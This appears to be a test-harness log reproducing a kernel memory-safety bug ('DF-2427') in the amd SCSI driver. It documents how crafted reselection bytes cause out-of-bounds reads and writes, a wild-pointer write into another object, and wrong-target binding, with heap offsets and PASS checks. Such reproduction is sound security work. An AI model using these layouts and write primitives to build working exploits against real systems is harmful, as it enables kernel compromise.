DF-2427 / run_battery1_clean.log
DFH: ########## DF-2427 battery mode=1 BEGIN ########## DFH: layout sizeof(amd_srb)=384 sizeof(amd_softc)=99784 sizeof(amd_target_info)=12 DFH: layout offsetof dev=0 tag=8 bsh=16 dmat=24 unit=32 last_phase=36 cur_target=40 cur_lun=44 active_srb=48 DFH: layout offsetof untagged_srbs=56 tinfo=568 disc_count=664 (tinfo[6]..tinfo[7] = softc+640..663) DFH: layout tinfo[-1] spans softc556..567: final 16 bytes of untagged_srbs[7][6] (softc552..567) + all of untagged_srbs[7][7] (softc568..575) DFH: layout tinfo[-1] fields: disc_tag@556 CtrlR1@557 CtrlR3@558 CtrlR4@559 sync_period_reg@560 sync_offset_reg@561 DFH: layout disc_count[-1][0] @softc648 (tinfo[6] tail) DFH: layout disc_count[-1][1] @softc650 (tinfo[6] tail) DFH: layout disc_count[-1][2] @softc652 (tinfo[6] tail) DFH: layout disc_count[-1][3] @softc654 (tinfo[6] tail) DFH: layout disc_count[-1][4] @softc656 (tinfo[7] tail) DFH: layout disc_count[-1][5] @softc658 (tinfo[7] tail) DFH: layout disc_count[-1][6] @softc660 (tinfo[7] tail) DFH: layout disc_count[-1][7] @softc662 (tinfo[7] tail) DFH: layout untagged_srbs[-1][0] @softc-8 8 B BEFORE softc (heap hdr) DFH: layout untagged_srbs[-1][1] @softc0 &amd->dev DFH: layout untagged_srbs[-1][2] @softc8 &amd->tag DFH: layout untagged_srbs[-1][3] @softc16 &amd->bsh DFH: layout untagged_srbs[-1][4] @softc24 &amd->buffer_dmat DFH: layout untagged_srbs[-1][5] @softc32 &amd->unit+last_phase DFH: layout untagged_srbs[-1][6] @softc40 &amd->cur_target+cur_lun DFH: layout untagged_srbs[-1][7] @softc48 &amd->active_srb DFH: ==== DF-2427 scenario A: poison reselect byte 0x80 (= HostID_Bit), lun 0 ==== DFH: pre-state softc-16..-1 softc-16 [a5a5a5a5a5a5a5a5 58fe7981ffffffff] DFH: pre-state tinfo[6]..[7] softc640 [0000000000000000 0000000000000000 0000000000000000] DFH: pre-state: disc_count[-1][0] (tinfo[6].goal) = 0x0000, active_srb=0 amd0: Unexpected reselection for target -1, Issuing Abort DFH: post-reselect: cur_target=-1 cur_lun=0 active_srb=0xffffffff8179fe58 (victim=0xffffffff8179fe58) DFH: >>> kernel exhibits VULNERABLE (cur_target == -1) behavior <<< DFH: PASS: amd.c:1831 ffs(0)-1 produced cur_target = -1 DFH: PASS: identify byte decoded lun 0 DFH: PASS: amd.c:1834 OOB READ untagged_srbs[-1][0] (softc-8) loaded wild active_srb DFH: PASS: amd.c:1845 OOB WRITE untagged_srbs[-1][0]=NULL zeroed softc-8..-1 (pre-ring smashed) DFH: PASS: rest of pre-ring untouched DFH: PASS: post ring untouched DFH: post softc-16..-1 softc-16 [a5a5a5a5a5a5a5a5 0000000000000000] DFH: post tinfo[6]..[7] softc640 [0000000000000000 ffff000000000000 0000000000000000] DFH: PASS: amd.c:1844 OOB WRITE disc_count[-1][lun]-- decremented 16 bits of tinfo[6].goal (0x0000 -> 0xFFFF) DFH: chip after amd_Reselect CMD=12 DESTID=ff INTSTAT=04 SYNCPERIOD=77 SYNCOFF=66 C1=aa C3=99 C4=88 DMAcmd=00 (FIFO=00) DFH: PASS: amd.c:1848 wrote cur_target(-1) as 0xFF to DESTID reg DFH: PASS: amd.c:1849-1850 loaded sync regs from tinfo[-1] (OOB bytes of untagged_srbs[7][7]) DFH: PASS: amd.c:1851-1853 loaded C1/C3/C4 from tinfo[-1] (OOB bytes of untagged_srbs[7][6]) DFH: follow-on MSG IN: victim SRBState before = 0xaaaa DFH: follow-on MSG IN: victim SRBState after = 0x0080 (SRB_DISCONNECT=0x0080) DFH: PASS: amd.c:1218 wrote SRB_DISCONNECT through the wild active_srb into the victim object (2-byte write at an address taken from OOB heap memory) DFH: PASS: amd.c:1219 second OOB RMW disc_count[-1][0]++ back to 0x0000 DFH: PASS: amd.c:1219 third OOB RMW disc_count[-1][0]++ -> 0x0001 (tinfo[6].goal attacker-steered) DFH: final tinfo[6]..[7] softc640 [0000000000000000 0100000000000000 0000000000000000] DFH: ==== DF-2427 scenario A2: poison byte 0x80, lun 6 (field-alias variant; deref=0) ==== amd0: Unexpected reselection for target -1, Issuing Abort DFH: post-reselect: cur_target=0 cur_lun=0 active_srb=0x6ffffffff DFH: >>> kernel exhibits VULNERABLE (wild active_srb) behavior <<< DFH: PASS: amd.c:1834 read untagged_srbs[-1][6] == packed (cur_target,cur_lun) -> non-canonical wild pointer DFH: PASS: amd.c:1845 OOB WRITE untagged_srbs[-1][6]=NULL zeroed cur_target and cur_lun DFH: PASS: amd.c:1844 OOB dec hit disc_count[-1][6] (tinfo[7].goal 0x0000 -> 0xFFFF) DFH: chip after amd_Reselect CMD=12 DESTID=ff INTSTAT=04 SYNCPERIOD=00 SYNCOFF=00 C1=00 C3=00 C4=00 DMAcmd=00 (FIFO=00) DFH: ==== DF-2427 scenario B: multi-bit byte 0xA8, attacker on wire at ID 5, decodes to target 3 ==== DFH: post-reselect: cur_target=3 cur_lun=0 active_srb=0xffffffff8179fcd8 (target-3 SRB=0xffffffff8179fcd8) DFH: >>> kernel exhibits VULNERABLE (wrong target accepted) behavior <<< DFH: PASS: amd.c:1831 decoded WRONG target 3 from attacker ID-5 reselect (confused deputy) DFH: PASS: amd.c:1834 bound reselection to target 3's SRB -- target-3 I/O now resumes under target-5's nexus DFH: PASS: amd.c:1844-1845 consumed target-3 disconnect slot DFH: chip after amd_Reselect CMD=12 DESTID=03 INTSTAT=04 SYNCPERIOD=3a SYNCOFF=0c C1=71 C3=73 C4=74 DMAcmd=00 (FIFO=00) DFH: PASS: chip reprogrammed for target 3's sync parameters DFH: PASS: no out-of-struct damage in the in-range variant DFH: ==== DF-2427 scenario C: valid byte 0xA0 -> target 5 (control) ==== DFH: post-reselect: cur_target=5 cur_lun=0 active_srb=0xffffffff8179fb58 (target-5 SRB=0xffffffff8179fb58) DFH: PASS: valid reselect binds the correct nexus DFH: chip after amd_Reselect CMD=12 DESTID=05 INTSTAT=04 SYNCPERIOD=50 SYNCOFF=0f C1=75 C3=35 C4=54 DMAcmd=00 (FIFO=00) DFH: PASS: chip programmed for target 5 DFH: PASS: control run leaves both canary rings intact DFH: ########## DF-2427 battery mode=1 END: 0 check(s) failed ##########